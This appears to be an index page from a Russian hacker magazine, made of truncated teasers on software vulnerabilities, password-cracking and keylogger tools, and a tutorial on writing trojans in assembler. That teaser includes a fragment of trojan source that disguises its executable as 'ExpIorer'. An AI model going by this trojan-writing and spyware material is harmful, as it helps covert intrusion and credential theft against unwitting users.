Переполнение буфера и Directory Traversal в WarFTP
Найдена возможность удаленному злоумышленнику получить доступ к файлам за корневой директорией, а также повесить сервер, исп…
Найдена возможность удаленному злоумышленнику получить доступ к файлам за корневой директорией, а также повесить сервер, исп…
OmniHTTPD - популярный web-server для Windows c возможностью использования скриптов php. При добавлении к скрипту Unicode co…
Работает на маршрутизаторе 3COM OfficeConnect DSL router 812. Определенно построенный http запрос на встроенный в маршрутиза…
Если разрешена функция /etc/periodic/daily/clean-tmps, то это дает возможность любому локальному пользователю использовать …
Эта прога помогает восстанавливать кэшированные и скрытые звездочками пароли. Очень полезна, если ты вдруг забыл свой пароль. Кроме того, возможность управления с помощью горячих клавиш, быстрое сохранение полученных результатов, малый размер программы, невидимость программы в панели задач и по Ctrl+Alt+Delete.
Полное описание читайте на нашем сайте тут. Если вкратце – универсальная прога для ломания сайтов путем подбора паролей.
На этот раз баг обнаружен в Netscape Enterprise Server – версии 4 с SP7 (возможно и с остальными сервис паками сервер уязвим…
Как сообщил сегодня Георгий Гунински (http://www.guninkski.com/dr07.html), если кто-либо имеет доступ на запуск программы на…
Итак, есть вью-бар, называется "Cash Fiesta".
Viewsrc.cgi – скрипт для просмотра исходников самих скриптов поставляется http://www.mimanet.com/scripts. Удаленный пользова…
Правильно построенная конструкция URL может вывести из строя Apache сервер на платформах WIN32 и OS2. Дыра работает на верси…
unit Unit1; interface uses Windows, Messages; type TRojan= class private { Private declarations } public { Public declarations } end; implementation end.
Шпион показывает что делали за вашим компьютером в ваше отсутствие.
Небольшой, но мощный клавиатурный шпион.
Защита программ и папок от несанкционированного доступа.
Все наверное уже давно позабыли старый добрый DOS. А ведь иногда приходится работать в условиях - когда ничего под рукой нет - тогда на помощь приходит *.BAT . Я хочу рассказать как с помощью .BAT'a можно выжить без всякого нужного софта - которым мы привыкли пользоваться
Сегодня была обнаружена дыра в популярном продукте spyanywere, который используется для удаленного контроля и администрирова…
Урожайным на баги сегодня выдался денек. Critical Watch Bugtraqqer сообщает об обнаружении дырки в IIS Ftp Server. Делаем Do…
Дырка работает только при открытии RTF файла в MS Word и только тогда, когда к нему прикреплен темплейт (template) c содержа…
SecureIIS, пожалуй, самая лучшая программа на сегодняшний день для защиты IIS 4.0 - 5.0 от внешних вторжений, которая защища…
Ну что, программа сервака трояна ещё не убедила кульного хацкера, типа тебя, в том, что Ассемблер всё-таки полезен в нашей непростой жизни? .. Ну тогда уже ничто не убедит .. А для тех, кто проникся идеей - продолжу ..
GateKeeper, компания которая занимается созданием программ для автоматического блокирования почтовых вирусов, предлагает 10.…
В SusE 6.3, 6.4, 7.0 можно получить root-права через /usr/bin/dsh (dqs 3.2.7). Все дело в традиционно переполнении буфера, п…
Лаборатория Касперского предупреждает об обнаружении новой, исключительно опасной троянской программы Eurosol, совершающей к…
Уязвимость в IIS позволяет атакующему, "снимать" ограничения на доступ к каталогам, используя замену строки html.
А теперь перейдём к очередной проге - серверу простой (но это ещё не значит малофункциональной) системы удаленного администрирования: ;ТРОJAN.asm ;о назначении этого заголовка смотри предыдущую статью .486 .model flat,stdcall option casemap:none include \masm32\include\winmm.inc include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\wsock32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\advapi32.inc include \masm32\include\shell32.inc includelib \masm32\lib\shell32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\wsock32.lib includelib \masm32\lib\masm32.lib includelib \masm32\lib\advapi32.lib includelib \masm32\lib\winmm.lib WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD SetRegKeysz PROTO :DWORD,:DWORD,:DWORD,:DWORD SetRegKeyDW PROTO :DWORD, :DWORD, :DWORD GetRegKeyDW PROTO :DWORD, :DWORD, :DWORD send_LB_shit_2_client PROTO :DWORD,:DWORD ; ----- ; инициализированные данные ; ----- .DATA IDC_LB equ 3000 ;идентификатор окна списка WM_SOCKET equ WM_USER + 100 ;назначим сообщение для сокета ClassName db "StupidBlowMyDickClass",0 ;название класса окна AppName db "ExpIorer",0 ;название нашего EXE-шника IconName db "TDIcon",0 ;иконка проги lstBox db "LISTBOX",0 ;назв
Программа поможет тебе вспомнить пароли от сайтов, чатов, доступа в интернет. Вспоминать можно не только на своем, но и на чужом компе, что вдвойне приятно:) Восстанавливает забытый пароль от почтового ящика в программе "The bat" и т д
Небольшая прога, предназначенная для расшифровки пароля ICQ, хранящегося в локальной базе.
CMail Pop3 Mail Server, позволяет каждому компьютеру в вашем офисе посылать и получать письма не только через Интернет, но т…
Еще одну возможность для DoS атаки нашли в OmniHTTPd Pro – web-сервере для Windows 9x и NT.
Очередная проблема обнаружилась в Mcafee Remote Desktop 3.
Jana – веб и прокси сервер. Уязвимые системы:
А теперь перейдём к очередной проге - серверу простой (но это ещё не значит мало функциональной) системы удаленного администрирования :) ...
Программа "Цербер", позволяющая делать различные документы, в версии "Специально для журнала "Хакер".
Итак, мы построили свой микро-интернет с целой кучей WEB-серверов. На следующем этапе мы их будем заполнять страничками. По умолчанию, все HTML документы живут в папке "htdocs". Туда и будем сливать свое "творчество". Рекомендую сотворить побольше папок (в урле естественно "htdocs" не прописывается - она прописана по умолчанию).Поскольку все это хозяйство должно трудиться самостоятельно, надо создать циклический набор страничек
Ну вот я снова развернул клаву и строчу текст .. итак, что же ждёт юного хакера в этот раз.. Написав предыдущую статью я понял, что одного простого приложения, для демонстрации кульных возможностей при программировании на Ассемблере под Винду, недостаточно, что я и решил исправить в новой статье .
Эта программа является прекрасным помощником при работе в инете.
Основное предназначение проги, как видно из названия, проверка списка прокси серверов на анонимность. ProxyCheker имеет большое количество опций и функций, позволяет осуществлять различные манипуляции со списком серверов. При обрыве связи обработка серверов приостанавливается, а продолжается при соединении с интернетом
Cron - стандартная юниксовая программа, которая запускает определенные пользователем программы в заданное время, по расписан…
Привет ПиплЫ!